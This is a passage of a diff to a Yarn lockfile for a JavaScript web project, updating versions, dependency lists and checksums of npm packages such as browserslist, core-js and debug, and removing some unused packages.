10c0/695a56cd058096a7cb71fb09d9d6a7070113c7be516699ed361317aca2ec169f618e28b8af352e02ab4233fb54eb0168460a40dc320bab0034b36ab59aaad668 + checksum: 10c0/975fecac2bb7758c062c20d0b3b6288c7cc895219ee25f0a64a9de662dbac981ff0b6e89909c3897c1f84fa353113a721923afdec5f8b2350255b097f12b1f73 languageName: node linkType: hard "brace-expansion@npm:^2.0.1": - version: 2.0.1 - resolution: "brace-expansion@npm:2.0.1" + version: 2.0.2 + resolution: "brace-expansion@npm:2.0.2" dependencies: balanced-match: "npm:^1.0.0" - checksum: 10c0/b358f2fe060e2d7a87aa015979ecea07f3c37d4018f8d6deb5bd4c229ad3a0384fe6029bb76cd8be63c81e516ee52d1a0673edbe2023d53a5191732ae3c3e49f + checksum: 10c0/6d117a4c793488af86b83172deb6af143e94c17bc53b0b3cec259733923b4ca84679d506ac261f4ba3c7ed37c46018e2ff442f9ce453af8643ecd64f4a54e6cf languageName: node linkType: hard @@ -4410,17 +4695,18 @@ __metadata: languageName: node linkType: hard -"browserslist@npm:^4.0.0, browserslist@npm:^4.18.1, browserslist@npm:^4.23.0, browserslist@npm:^4.24.0, browserslist@npm:^4.24.4": - version: 4.24.5 - resolution: "browserslist@npm:4.24.5" +"browserslist@npm:^4.0.0, browserslist@npm:^4.23.0, browserslist@npm:^4.24.0, browserslist@npm:^4.24.4, browserslist@npm:^4.26.0, browserslist@npm:^4.26.3": + version: 4.26.3 + resolution: "browserslist@npm:4.26.3" dependencies: - caniuse-lite: "npm:^1.0.30001716" - electron-to-chromium: "npm:^1.5.149" - node-releases: "npm:^2.0.19" + baseline-browser-mapping: "npm:^2.8.9" + caniuse-lite: "npm:^1.0.30001746" + electron-to-chromium: "npm:^1.5.227" + node-releases: "npm:^2.0.21" update-browserslist-db: "npm:^1.1.3" bin: browserslist: cli.js - checksum: 10c0/f4c1ce1a7d8fdfab5e5b88bb6e93d09e8a883c393f86801537a252da0362dbdcde4dbd97b318246c5d84c6607b2f6b47af732c1b000d6a8a881ee024bad29204 + checksum: 10c0/3899ee3b7fd205ece4ffe4392697c3f2b120b68f3741ef1789212b4971771aee3f66cf37c5c3accf86ce59c0605b5980c0f132711abbcc9e62c132e6e0ee45f3 languageName: node linkType: hard @@ -4431,6 +4717,15 @@ __metadata: languageName: node linkType: hard +"bundle-name@npm:^4.1.0": + version: 4.1.0 + resolution: "bundle-name@npm:4.1.0" + dependencies: + run-applescript: "npm:^7.0.0" + checksum: 10c0/8e575981e79c2bcf14d8b1c027a3775c095d362d1382312f444a7c861b0e21513c0bd8db5bd2b16e50ba0709fa622d4eab6b53192d222120305e68359daece29 + languageName: node + linkType: hard + "bytes@npm:3.0.0": version: 3.0.0 resolution: "bytes@npm:3.0.0" @@ -4562,10 +4857,10 @@ __metadata: languageName: node linkType: hard -"caniuse-lite@npm:^1.0.0, caniuse-lite@npm:^1.0.30001702, caniuse-lite@npm:^1.0.30001716": - version: 1.0.30001718 - resolution: "caniuse-lite@npm:1.0.30001718" - checksum: 10c0/67f9ad09bc16443e28d14f265d6e468480cd8dc1900d0d8b982222de80c699c4f2306599c3da8a3fa7139f110d4b30d49dbac78f215470f479abb6ffe141d5d3 +"caniuse-lite@npm:^1.0.0, caniuse-lite@npm:^1.0.30001702, caniuse-lite@npm:^1.0.30001746": + version: 1.0.30001751 + resolution: "caniuse-lite@npm:1.0.30001751" + checksum: 10c0/c3f2d448f3569004ace160fd9379ea0def8e7a7bc6e65611baadb57d24e1f418258647a6210e46732419f5663e2356c22aa841f92449dd3849eb6471bb7ad592 languageName: node linkType: hard @@ -4576,7 +4871,7 @@ __metadata: languageName: node linkType: hard -"chalk@npm:^4.0.0, chalk@npm:^4.1.0, chalk@npm:^4.1.2": +"chalk@npm:^4.0.0, chalk@npm:^4.1.2": version: 4.1.2 resolution: "chalk@npm:4.1.2" dependencies: @@ -4587,9 +4882,9 @@ __metadata: linkType: hard "chalk@npm:^5.0.1, chalk@npm:^5.2.0": - version: 5.4.1 - resolution: "chalk@npm:5.4.1" - checksum: 10c0/b23e88132c702f4855ca6d25cb5538b1114343e41472d5263ee8a37cccfccd9c4216d111e1097c6a27830407a1dc81fecdf2a56f2c63033d4dbbd88c10b0dcef + version: 5.6.2 + resolution: "chalk@npm:5.6.2" + checksum: 10c0/99a4b0f0e7991796b1e7e3f52dceb9137cae2a9dfc8fc0784a550dc4c558e15ab32ed70b14b21b52beb2679b4892b41a0aa44249bcb996f01e125d58477c6976 languageName: node linkType: hard @@ -4657,7 +4952,7 @@ __metadata: languageName: node linkType: hard -"chokidar@npm:^3.4.2, chokidar@npm:^3.5.3": +"chokidar@npm:^3.5.3, chokidar@npm:^3.6.0": version: 3.6.0 resolution: "chokidar@npm:3.6.0" dependencies: @@ -4697,7 +4992,7 @@ __metadata: languageName: node linkType: hard -"clean-css@npm:^5.2.2, clean-css@npm:^5.3.2, clean-css@npm:~5.3.2": +"clean-css@npm:^5.2.2, clean-css@npm:^5.3.3, clean-css@npm:~5.3.2": version: 5.3.3 resolution: "clean-css@npm:5.3.3" dependencies: @@ -4854,17 +5149,17 @@ __metadata: linkType: hard "compression@npm:^1.7.4": - version: 1.8.0 - resolution: "compression@npm:1.8.0" + version: 1.8.1 + resolution: "compression@npm:1.8.1" dependencies: bytes: "npm:3.1.2" compressible: "npm:~2.0.18" debug: "npm:2.6.9" negotiator: "npm:~0.6.4" - on-headers: "npm:~1.0.2" + on-headers: "npm:~1.1.0" safe-buffer: "npm:5.2.1" vary: "npm:~1.1.2" - checksum: 10c0/804d3c8430939f4fd88e5128333f311b4035f6425a7f2959d74cfb5c98ef3a3e3e18143208f3f9d0fcae4cd3bcf3d2fbe525e0fcb955e6e146e070936f025a24 + checksum: 10c0/85114b0b91c16594dc8c671cd9b05ef5e465066a60e5a4ed8b4551661303559a896ed17bb72c4234c04064e078f6ca86a34b8690349499a43f6fc4b844475da4 languageName: node linkType: hard @@ -4956,13 +5251,6 @@ __metadata: languageName: node linkType: hard -"copy-text-to-clipboard@npm:^3.2.0": - version: 3.2.0 - resolution: "copy-text-to-clipboard@npm:3.2.0" - checksum: 10c0/d60fdadc59d526e19d56ad23cec2b292d33c771a5091621bd322d138804edd3c10eb2367d46ec71b39f5f7f7116a2910b332281aeb36a5b679199d746a8a5381 - languageName: node - linkType: hard - "copy-webpack-plugin@npm:^11.0.0": version: 11.0.0 resolution: "copy-webpack-plugin@npm:11.0.0" @@ -4979,26 +5267,26 @@ __metadata: languageName: node linkType: hard -"core-js-compat@npm:^3.40.0": - version: 3.42.0 - resolution: "core-js-compat@npm:3.42.0" +"core-js-compat@npm:^3.43.0": + version: 3.46.0 + resolution: "core-js-compat@npm:3.46.0" dependencies: - browserslist: "npm:^4.24.4" - checksum: 10c0/0138ce005c13ce642fc38e18e54a52a1c78ca8315ee6e4faad748d2a1b0ad2462ea615285ad4e6cf77afe48e47a868d898e64c70606c1eb1c9e6a9f19ee2b186 + browserslist: "npm:^4.26.3" + checksum: 10c0/d50f8870e14434477acac1f9f52929b6298fd86313386c4105be0d43978708ad10ab3b80b9b54d77b93761dbc5430e3151de0c792dabd117b58c25b551b78e20 languageName: node linkType: hard -"core-js-pure@npm:^3.30.2": - version: 3.42.0 - resolution: "core-js-pure@npm:3.42.0" - checksum: 10c0/e61b097bc83ec01839e7b04cad2e1d0dd8822275ea5a08a23dc7c907d13d2522aa2b09061cec68f0625fe40abb8b888be3b65a37c817eb53a695cf02c24217bf +"core-js-pure@npm:^3.43.0": + version: 3.46.0 + resolution: "core-js-pure@npm:3.46.0" + checksum: 10c0/8cf5016f92af5d23c6440649f46fc793ba0201e1687e696cee0341af8e8c6a2e9958b078f23af3a7440edf1ced63ce23a511f7b1357e4793c1101b907bf6ff87 languageName: node linkType: hard "core-js@npm:^3.31.1": - version: 3.42.0 - resolution: "core-js@npm:3.42.0" - checksum: 10c0/2913d3d5452d54ad92f058d66046782d608c05e037bcc523aab79c04454fe640998f94e6011292969d66dfa472f398b085ce843dcb362056532a5799c627184e + version: 3.46.0 + resolution: "core-js@npm:3.46.0" + checksum: 10c0/12d559d39a58227881bc6c86c36d24dcfbe2d56e52dac42e35e8643278172596ab67f57ede98baf40b153ca1b830f37420ea32c3f7417c0c5a1fed46438ae187 languageName: node linkType: hard @@ -5009,19 +5297,6 @@ __metadata: languageName: node linkType: hard -"cosmiconfig@npm:^6.0.0": - version: 6.0.0 - resolution: "cosmiconfig@npm:6.0.0" - dependencies: - "@types/parse-json": "npm:^4.0.0" - import-fresh: "npm:^3.1.0" - parse-json: "npm:^5.0.0" - path-type: "npm:^4.0.0" - yaml: "npm:^1.7.2" - checksum: 10c0/666ed8732d0bf7d7fe6f8516c8ee6041e0622032e8fa26201577b883d2767ad105d03f38b34b93d1f02f26b22a89e7bab4443b9d2e7f931f48d0e944ffa038b5 - languageName: node - linkType: hard - "cosmiconfig@npm:^8.1.3, cosmiconfig@npm:^8.3.5": version: 8.3.6 resolution: "cosmiconfig@npm:8.3.6" @@ -5071,28 +5346,28 @@ __metadata: linkType: hard "css-declaration-sorter@npm:^7.2.0": - version: 7.2.0 - resolution: "css-declaration-sorter@npm:7.2.0" + version: 7.3.0 + resolution: "css-declaration-sorter@npm:7.3.0" peerDependencies: postcss: ^8.0.9 - checksum: 10c0/d8516be94f8f2daa233ef021688b965c08161624cbf830a4d7ee1099429437c0ee124d35c91b1c659cfd891a68e8888aa941726dab12279bc114aaed60a94606 + checksum: 10c0/a715c90ac1b849e52cb697eb3c28ae86ee80fa9ccb26a9da60eb5621a0a6657c41a8126e27d96a622f96ca70692e210ac33362888f0274ba23056ac401089fa5 languageName: node linkType: hard -"css-has-pseudo@npm:^7.0.2": - version: 7.0.2 - resolution: "css-has-pseudo@npm:7.0.2" +"css-has-pseudo@npm:^7.0.3": + version: 7.0.3 + resolution: "css-has-pseudo@npm:7.0.3" dependencies: "@csstools/selector-specificity": "npm:^5.0.0" postcss-selector-parser: "npm:^7.0.0" postcss-value-parser: "npm:^4.2.0" peerDependencies: postcss: ^8.4 - checksum: 10c0/456e9ce1eec8a535683c329956acfe53ce5a208345d7f2fcbe662626be8b3c98681e9041d7f4980316714397b0c1c3defde25653d629c396df17803d599c4edf + checksum: 10c0/c89f68e17bed229e9a3e98da5032e1360c83d45d974bc3fb8d6b5358399bca80cce7929e4a621a516a75536edb78678dc486eb41841eeed28cca79e3be4bdc27 languageName: node linkType: hard -"css-loader@npm:^6.8.1": +"css-loader@npm:^6.11.0": version: 6.11.0 resolution: "css-loader@npm:6.11.0" dependencies: @@ -5175,15 +5450,15 @@ __metadata: linkType: hard "css-select@npm:^5.1.0": - version: 5.1.0 - resolution: "css-select@npm:5.1.0" + version: 5.2.2 + resolution: "css-select@npm:5.2.2" dependencies: boolbase: "npm:^1.0.0" css-what: "npm:^6.1.0" domhandler: "npm:^5.0.2" domutils: "npm:^3.0.1" nth-check: "npm:^2.0.1" - checksum: 10c0/551c60dba5b54054741032c1793b5734f6ba45e23ae9e82761a3c0ed1acbb8cfedfa443aaba3a3c1a54cac12b456d2012a09d2cd5f0e82e430454c1b9d84d500 + checksum: 10c0/d79fffa97106007f2802589f3ed17b8c903f1c961c0fc28aa8a051eee0cbad394d8446223862efd4c1b40445a6034f626bb639cf2035b0bfc468544177593c99 languageName: node linkType: hard @@ -5208,16 +5483,16 @@ __metadata: linkType: hard "css-what@npm:^6.0.1, css-what@npm:^6.1.0": - version: 6.1.0 - resolution: "css-what@npm:6.1.0" - checksum: 10c0/a09f5a6b14ba8dcf57ae9a59474722e80f20406c53a61e9aedb0eedc693b135113ffe2983f4efc4b5065ae639442e9ae88df24941ef159c218b231011d733746 + version: 6.2.2 + resolution: "css-what@npm:6.2.2" + checksum: 10c0/91e24c26fb977b4ccef30d7007d2668c1c10ac0154cc3f42f7304410e9594fb772aea4f30c832d2993b132ca8d99338050866476210316345ec2e7d47b248a56 languageName: node linkType: hard -"cssdb@npm:^8.2.5": - version: 8.2.5 - resolution: "cssdb@npm:8.2.5" - checksum: 10c0/3f6f2941c958ea0bdbcc1f807ee728d851ef60c370fbcd54360840e3192f082e0a0b2fa4ea600ca74fa771936c9130883727d7845132cc8bf135a4e0a1e55746 +"cssdb@npm:^8.4.2": + version: 8.4.2 + resolution: "cssdb@npm:8.4.2" + checksum: 10c0/3c88610ba9e3f87f9ecf068b72261e90de8bb1f5d1dceefc79ff42b2e19f5814135937ad057b7f8c4bf58212f911e5f9d2f6f0910af3da127170009f1f75689c languageName: node linkType: hard @@ -5331,7 +5606,7 @@ __metadata: languageName: node linkType: hard -"debug@npm:2.6.9, debug@npm:^2.6.0": +"debug@npm:2.6.9": version: 2.6.9 resolution: "debug@npm:2.6.9" dependencies: @@ -5340,24 +5615,24 @@ __metadata: languageName: node linkType: hard -"debug@npm:4, debug@npm:^4.0.0, debug@npm:^4.1.0, debug@npm:^4.1.1, debug@npm:^4.3.1, debug@npm:^4.3.4": - version: 4.4.1 - resolution: "debug@npm:4.4.1" +"debug@npm:4, debug@npm:^4.0.0, debug@npm:^4.1.0, debug@npm:^4.3.1, debug@npm:^4.3.4, debug@npm:^4.4.1": + version: 4.4.3 + resolution: "debug@npm:4.4.3" dependencies: ms: "npm:^2.1.3" peerDependenciesMeta: supports-color: optional: true - checksum: 10c0/d2b44bc1afd912b49bb7ebb0d50a860dc93a4dd7d946e8de94abc957bb63726b7dd5aa48c18c2386c379ec024c46692e15ed3ed97d481729f929201e671fcd55 + checksum: 10c0/d79136ec6c83ecbefd0f6a5593da6a9c91ec4d7ddc4b54c883d6e71ec9accb5f67a1a5e96d00a328196b5b5c86d365e98d8a3a70856aaf16b4e7b1985e67f5a6 languageName: node linkType: hard "decode-named-character-reference@npm:^1.0.0": - version: 1.1.0 - resolution: "decode-named-character-reference@npm:1.1.0" + version: 1.2.0 + resolution: "decode-named-character-reference@npm:1.2.0" dependencies: character-entities: "npm:^2.0.0" - checksum: 10c0/359c76305b47e67660ec096c5cd3f65972ed75b8a53a40435a7a967cfab3e9516e64b443cbe0c7edcf5ab77f65a6924f12fb1872b1e09e2f044f28f4fd10996a + checksum: 10c0/761a89de6b0e0a2d4b21ae99074e4cc3344dd11eb29f112e23cc5909f2e9f33c5ed20cd6b146b27fb78170bce0f3f9b3362a84b75638676a05c938c24a60f5d7 languageName: node linkType: hard @@ -5377,19 +5652,27 @@ __metadata: languageName: node linkType: hard -"deepmerge@npm:^4.2.2, deepmerge@npm:^4.3.1": +"deepmerge@npm:^4.3.1": version: 4.3.1 resolution: "deepmerge@npm:4.3.1" checksum: 10c0/e53481aaf1aa2c4082b5342be6b6d8ad9dfe387bc92ce197a66dea08bd4265904a087e75e464f14d1347cf2ac8afe1e4c16b266e0561cc5df29382d3c5f80044 languageName: node linkType: hard -"default-gateway@npm:^6.0.3": - version: 6.0.3 - resolution: "default-gateway@npm:6.0.3" +"default-browser-id@npm:^5.0.0": + version: 5.0.0 + resolution: "default-browser-id@npm:5.0.0" + checksum: 10c0/957fb886502594c8e645e812dfe93dba30ed82e8460d20ce39c53c5b0f3e2afb6ceaec2249083b90bdfbb4cb0f34e1f73fde3d68cac00becdbcfd894156b5ead + languageName: node + linkType: hard + +"default-browser@npm:^5.2.1": + version: 5.2.1 + resolution: "default-browser@npm:5.2.1" dependencies: - execa: "npm:^5.0.0" - checksum: 10c0/5184f9e6e105d24fb44ade9e8741efa54bb75e84625c1ea78c4ef8b81dff09ca52d6dbdd1185cf0dc655bb6b282a64fffaf7ed2dd561b8d9ad6f322b1f039aba + bundle-name: "npm:^4.1.0" + default-browser-id: "npm:^5.0.0" + checksum: 10c0/73f17dc3c58026c55bb5538749597db31f9561c0193cd98604144b704a981c95a466f8ecc3c2db63d8bfd04fb0d426904834cfc91ae510c6aeb97e13c5167c4d languageName: node linkType: hard @@ -5418,6 +5701,13 @@ __metadata: languageName: node linkType: hard +"define-lazy-prop@npm:^3.0.0": + version: 3.0.0 + resolution: "define-lazy-prop@npm:3.0.0" + checksum: 10c0/5ab0b2bf3fa58b3a443140bbd4cd3db1f91b985cc8a246d330b9ac3fc0b6a325a6d82bddc0b055123d745b3f9931afeea74a5ec545439a1630b9c8512b0eeb49 + languageName: node + linkType: hard + "define-properties@npm:^1.2.1": version: 1.2.1 resolution: "define-properties@npm:1.2.1" @@ -5429,22 +5719,6 @@ __metadata: languageName: node linkType: hard -"del@npm:^6.1.1": - version: 6.1.1 - resolution: "del@npm:6.1.1" - dependencies: - globby: "npm:^11.0.1" - graceful-fs: "npm:^4.2.4" - is-glob: "npm:^4.0.1" - is-path-cwd: "npm:^2.2.0" - is-path-inside: "npm:^3.0.2" - p-map: "npm:^4.0.0" - rimraf: "npm:^3.0.2" - slash: "npm:^3.0.0" - checksum: 10c0/8a095c5ccade42c867a60252914ae485ec90da243d735d1f63ec1e64c1cfbc2b8810ad69a29ab6326d159d4fddaa2f5bad067808c42072351ec458efff86708f - languageName: node - linkType: hard - "depd@npm:2.0.0": version: 2.0.0 resolution: "depd@npm:2.0.0" @@ -5459,7 +5733,7 @@ __metadata: languageName: node linkType: hard -"dequal@npm:^2.0.0": +"dequal@npm:^2.0.0, dequal@npm:^2.0.3": version: 2.0.3 resolution: "dequal@npm:2.0.3" checksum: 10c0/f98860cdf58b64991ae10205137c0e97d384c3a4edc7f807603887b7c4b850af1224a33d88012009f150861cbee4fa2d322c4cc04b9313bee312e47f6ecaa888 @@ -5474,29 +5748,16 @@ __metadata: linkType: hard "detect-libc@npm:^2.0.3, detect-libc@npm:^2.0.4": - version: 2.0.4 - resolution: "detect-libc@npm:2.0.4" - checksum: 10c0/c15541f836eba4b1f521e4eecc28eefefdbc10a94d3b8cb4c507689f332cc111babb95deda66f2de050b22122113189986d5190be97d51b5a2b23b938415e67c - languageName: node - linkType: hard - -"detect-node@npm:^2.0.4": - version: 2.1.0 - resolution: "detect-node@npm:2.1.0" - checksum: 10c0/f039f601790f2e9d4654e499913259a798b1f5246ae24f86ab5e8bd4aaf3bce50484234c494f11fb00aecb0c6e2733aa7b1cf3f530865640b65fbbd65b2c4e09 + version: 2.1.2 + resolution: "detect-libc@npm:2.1.2" + checksum: 10c0/acc675c29a5649fa1fb6e255f993b8ee829e510b6b56b0910666949c80c364738833417d0edb5f90e4e46be17228b0f2b66a010513984e18b15deeeac49369c4 languageName: node linkType: hard - -"detect-port-alt@npm:^1.1.6": - version: 1.1.6 - resolution: "detect-port-alt@npm:1.1.6" - dependencies: - address: "npm:^1.0.1" - debug: "npm:^2.6.0" - bin: - detect: ./bin/detect-port - detect-port: ./bin/detect-port - checksum: 10c0/7269e6aef7b782d98c77505c07a7a0f5e2ee98a9607dc791035fc0192fc58aa03cc833fae605e10eaf239a2a5a55cd938e0bb141dea764ac6180ca082fd62b23 + +"detect-node@npm:^2.0.4": + version: 2.1.0 + resolution: "detect-node@npm:2.1.0" + checksum: 10c0/f039f601790f2e9d4654e499913259a798b1f5246ae24f86ab5e8bd4aaf3bce50484234c494f11fb00aecb0c6e2733aa7b1cf3f530865640b65fbbd65b2c4e09 languageName: node linkType: hard @@ -5669,10 +5930,10 @@ __metadata: languageName: node linkType: hard -"electron-to-chromium@npm:^1.5.149": - version: 1.5.155 - resolution: "electron-to-chromium@npm:1.5.155" - checksum: 10c0/aee32a0b03282e488352370f6a910de37788b814031020a0e244943450e844e8a41f741d6e5ec70d553dfa4382ef80088034ddc400b48f45de95de331b9ec178 +"electron-to-chromium@npm:^1.5.227": + version: 1.5.237 + resolution: "electron-to-chromium@npm:1.5.237" + checksum: 10c0/b9a9ba6ba3db5cc7e402fcc78f2ddf8bfc4b142dfcfa83e37a6ba99337d186025c4311db345d95ecf2b404e9d3fcd5ec7b1be56e6b998ff6b8fe348569eaf4b7 languageName: node linkType: hard @@ -5734,13 +5995,13 @@ __metadata: languageName: node linkType: hard -"enhanced-resolve@npm:^5.17.1, enhanced-resolve@npm:^5.18.1": - version: 5.18.1 - resolution: "enhanced-resolve@npm:5.18.1" +"enhanced-resolve@npm:^5.17.3, enhanced-resolve@npm:^5.18.3": + version: 5.18.3 + resolution: "enhanced-resolve@npm:5.18.3" dependencies: graceful-fs: "npm:^4.2.4" tapable: "npm:^2.2.0" - checksum: 10c0/4cffd9b125225184e2abed9fdf0ed3dbd2224c873b165d0838fd066cde32e0918626cba2f1f4bf6860762f13a7e2364fd89a82b99566be2873d813573ac71846 + checksum: 10c0/d413c23c2d494e4c1c9c9ac7d60b812083dc6d446699ed495e69c920988af0a3c66bf3f8d0e7a45cb1686c2d4c1df9f4e7352d973f5b56fe63d8d711dd0ccc54 languageName: node linkType: hard @@ -5759,9 +6020,9 @@ __metadata: linkType: hard "entities@npm:^6.0.0": - version: 6.0.0 - resolution: "entities@npm:6.0.0" - checksum: 10c0/b82a7bd5de282860f3c36a91e815e41e874fd036c83956a568b82729678492eb088359d6f7e0a4f5c00776427263fcba04959b8340fefa430c39b9bce770427e + version: 6.0.1 + resolution: "entities@npm:6.0.1" + checksum: 10c0/ed836ddac5acb34341094eb495185d527bd70e8632b6c0d59548cbfa23defdbae70b96f9a405c82904efa421230b5b3fd2283752447d737beffd3f3e6ee74414 languageName: node linkType: hard @@ -5780,11 +6041,11 @@ __metadata: linkType: hard "error-ex@npm:^1.3.1": - version: 1.3.2 - resolution: "error-ex@npm:1.3.2" + version: 1.3.4 + resolution: "error-ex@npm:1.3.4" dependencies: is-arrayish: "npm:^0.2.1" - checksum: 10c0/ba827f89369b4c93382cfca5a264d059dfefdaa56ecc5e338ffa58a6471f5ed93b71a20add1d52290a4873d92381174382658c885ac1a2305f7baca363ce9cce + checksum: 10c0/b9e34ff4778b8f3b31a8377e1c654456f4c41aeaa3d10a1138c3b7635d8b7b2e03eb2475d46d8ae055c1f180a1063e100bffabf64ea7e7388b37735df5328664 languageName: node linkType: hard @@ -6035,7 +6296,7 @@ __metadata: languageName: node linkType: hard -"eventemitter3@npm:^4.0.0": +"eventemitter3@npm:^4.0.0, eventemitter3@npm:^4.0.4": version: 4.0.7 resolution: "eventemitter3@npm:4.0.7" checksum: 10c0/5f6d97cbcbac47be798e6355e3a7639a84ee1f7d9b199a07017f1d2f1e2fe236004d14fa5dfaeba661f94ea57805385e326236a6debbc7145c8877fbc0297c6b @@ -6049,7 +6310,14 @@ __metadata: languageName: node linkType: hard -"execa@npm:^5.0.0": +"eventsource-parser@npm:^3.0.5": + version: 3.0.6 + resolution: "eventsource-parser@npm:3.0.6" + checksum: 10c0/70b8ccec7dac767ef2eca43f355e0979e70415701691382a042a2df8d6a68da6c2fca35363669821f3da876d29c02abe9b232964637c1b6635c940df05ada78a + languageName: node + linkType: hard + +"execa@npm:5.1.1": version: 5.1.1 resolution: "execa@npm:5.1.1" dependencies: @@ -6067,13 +6335,13 @@ __metadata: linkType: hard "exponential-backoff@npm:^3.1.1": - version: 3.1.2 - resolution: "exponential-backoff@npm:3.1.2" - checksum: 10c0/d9d3e1eafa21b78464297df91f1776f7fbaa3d5e3f7f0995648ca5b89c069d17055033817348d9f4a43d1c20b0eab84f75af6991751e839df53e4dfd6f22e844 + version: 3.1.3 + resolution: "exponential-backoff@npm:3.1.3" + checksum: 10c0/77e3ae682b7b1f4972f563c6dbcd2b0d54ac679e62d5d32f3e5085feba20483cf28bd505543f520e287a56d4d55a28d7874299941faf637e779a1aa5994d1267 languageName: node linkType: hard -"express@npm:^4.17.3": +"express@npm:^4.21.2": version: 4.21.2 resolution: "express@npm:4.21.2" dependencies: @@ -6156,9 +6424,9 @@ __metadata: linkType: hard "fast-uri@npm:^3.0.1": - version: 3.0.6 - resolution: "fast-uri@npm:3.0.6" - checksum: 10c0/74a513c2af0584448aee71ce56005185f81239eab7a2343110e5bad50c39ad4fb19c5a6f99783ead1cac7ccaf3461a6034fda89fffa2b30b6d99b9f21c2f9d29 + version: 3.1.0 + resolution: "fast-uri@npm:3.1.0" + checksum: 10c0/44364adca566f70f40d1e9b772c923138d47efeac2ae9732a872baafd77061f26b097ba2f68f0892885ad177becd065520412b8ffeec34b16c99433c5b9e2de7 languageName: node linkType: hard @@ -6189,15 +6457,15 @@ __metadata: languageName: node linkType: hard -"fdir@npm:^6.4.4": - version: 6.4.4 - resolution: "fdir@npm:6.4.4" +"fdir@npm:^6.5.0": + version: 6.5.0 + resolution: "fdir@npm:6.5.0" peerDependencies: picomatch: ^3 || ^4 peerDependenciesMeta: picomatch: optional: true - checksum: 10c0/6ccc33be16945ee7bc841e1b4178c0b4cf18d3804894cb482aa514651c962a162f96da7ffc6ebfaf0df311689fb70091b04dd6caffe28d56b9ebdc0e7ccadfdd + checksum: 10c0/e345083c4306b3aed6cb8ec551e26c36bab5c511e99ea4576a16750ddc8d3240e63826cc624f5ae17ad4dc82e68a253213b60d556c11bfad064b7607847ed07f languageName: node linkType: hard @@ -6238,13 +6506,6 @@ __metadata: languageName: node linkType: hard -"filesize@npm:^8.0.6": - version: 8.0.7 - resolution: "filesize@npm:8.0.7" - checksum: 10c0/82072d94816484df5365d4d5acbb2327a65dc49704c64e403e8c40d8acb7364de1cf1e65cb512c77a15d353870f73e4fed46dad5c6153d0618d9ce7a64d09cfc - languageName: node - linkType: hard - "fill-range@npm:^7.1.1": version: 7.1.1 resolution: "fill-range@npm:7.1.1" @@ -6279,25 +6540,6 @@ __metadata: languageName: node linkType: hard -"find-up@npm:^3.0.0": - version: 3.0.0 - resolution: "find-up@npm:3.0.0" - dependencies: - locate-path: "npm:^3.0.0" - checksum: 10c0/2c2e7d0a26db858e2f624f39038c74739e38306dee42b45f404f770db357947be9d0d587f1cac72d20c114deb38aa57316e879eb0a78b17b46da7dab0a3bd6e3 - languageName: node - linkType: hard - -"find-up@npm:^5.0.0": - version: 5.0.0 - resolution: "find-up@npm:5.0.0" - dependencies: - locate-path: "npm:^6.0.0" - path-exists: "npm:^4.0.0" - checksum: 10c0/062c5a83a9c02f53cdd6d175a37ecf8f87ea5bbff1fdfb828f04bfa021441bc7583e8ebc0872a4c1baab96221fb8a8a275a19809fb93fbc40bd69ec35634069a - languageName: node - linkType: hard - "find-up@npm:^6.3.0": version: 6.3.0 resolution: "find-up@npm:6.3.0" @@ -6318,12 +6560,12 @@ __metadata: linkType: hard "follow-redirects@npm:^1.0.0": - version: 1.15.9 - resolution: "follow-redirects@npm:1.15.9" + version: 1.15.11 + resolution: "follow-redirects@npm:1.15.11" peerDependenciesMeta: debug: optional: true - checksum: 10c0/5829165bd112c3c0e82be6c15b1a58fa9dcfaede3b3c54697a82fe4a62dd5ae5e8222956b448d2f98e331525f05d00404aba7d696de9e761ef6e42fdc780244f + checksum: 10c0/d301f430542520a54058d4aeeb453233c564aaccac835d29d15e050beb33f339ad67d9bddbce01739c5dc46a6716dbe3d9d0d5134b1ca203effa11a7ef092343 languageName: node linkType: hard @@ -6337,37 +6579,6 @@ __metadata: languageName: node linkType: hard -"fork-ts-checker-webpack-plugin@npm:^6.5.0": - version: 6.5.3 - resolution: "fork-ts-checker-webpack-plugin@npm:6.5.3" - dependencies: - "@babel/code-frame": "npm:^7.8.3" - "@types/json-schema": "npm:^7.0.5" - chalk: "npm:^4.1.0" - chokidar: "npm:^3.4.2" - cosmiconfig: "npm:^6.0.0" - deepmerge: "npm:^4.2.2" - fs-extra: "npm:^9.0.0" - glob: "npm:^7.1.6" - memfs: "npm:^3.1.2" - minimatch: "npm:^3.0.4" - schema-utils: "npm:2.7.0" - semver: "npm:^7.3.2" - tapable: "npm:^1.0.0" - peerDependencies: - eslint: ">= 6" - typescript: ">= 2.7" - vue-template-compiler: "*" - webpack: ">= 4" - peerDependenciesMeta: - eslint: - optional: true - vue-template-compiler: - optional: true - checksum: 10c0/0885ea75474de011d4068ca3e2d3ca6e4cd318f5cfa018e28ff8fef23ef3a1f1c130160ef192d3e5d31ef7b6fe9f8fb1d920eab5e9e449fb30ce5cc96647245c - languageName: node - linkType: hard - "form-data-encoder@npm:^2.1.2": version: 2.1.4 resolution: "form-data-encoder@npm:2.1.4" @@ -6404,25 +6615,13 @@ __metadata: linkType: hard "fs-extra@npm:^11.1.1, fs-extra@npm:^11.2.0": - version: 11.3.0 - resolution: "fs-extra@npm:11.3.0" - dependencies: - graceful-fs: "npm:^4.2.0" - jsonfile: "npm:^6.0.1" - universalify: "npm:^2.0.0" - checksum: 10c0/5f95e996186ff45463059feb115a22fb048bdaf7e487ecee8a8646c78ed8fdca63630e3077d4c16ce677051f5e60d3355a06f3cd61f3ca43f48cc58822a44d0a - languageName: node - linkType: hard - -"fs-extra@npm:^9.0.0": - version: 9.1.0 - resolution: "fs-extra@npm:9.1.0" + version: 11.3.2 + resolution: "fs-extra@npm:11.3.2" dependencies: - at-least-node: "npm:^1.0.0" graceful-fs: "npm:^4.2.0" jsonfile: "npm:^6.0.1" universalify: "npm:^2.0.0" - checksum: 10c0/9b808bd884beff5cb940773018179a6b94a966381d005479f00adda6b44e5e3d4abf765135773d849cc27efe68c349e4a7b86acd7d3306d5932c14f3a4b17a92 + checksum: 10c0/f5d629e1bb646d5dedb4d8b24c5aad3deb8cc1d5438979d6f237146cd10e113b49a949ae1b54212c2fbc98e2d0995f38009a9a1d0520f0287943335e65fe919b languageName: node linkType: hard @@ -6435,20 +6634,6 @@ __metadata: languageName: node linkType: hard -"fs-monkey@npm:^1.0.4": - version: 1.0.6 - resolution: "fs-monkey@npm:1.0.6" - checksum: 10c0/6f2508e792a47e37b7eabd5afc79459c1ea72bce2a46007d2b7ed0bfc3a4d64af38975c6eb7e93edb69ac98bbb907c13ff1b1579b2cf52d3d02dbc0303fca79f - languageName: node - linkType: hard - -"fs.realpath@npm:^1.0.0": - version: 1.0.0 - resolution: "fs.realpath@npm:1.0.0" - checksum: 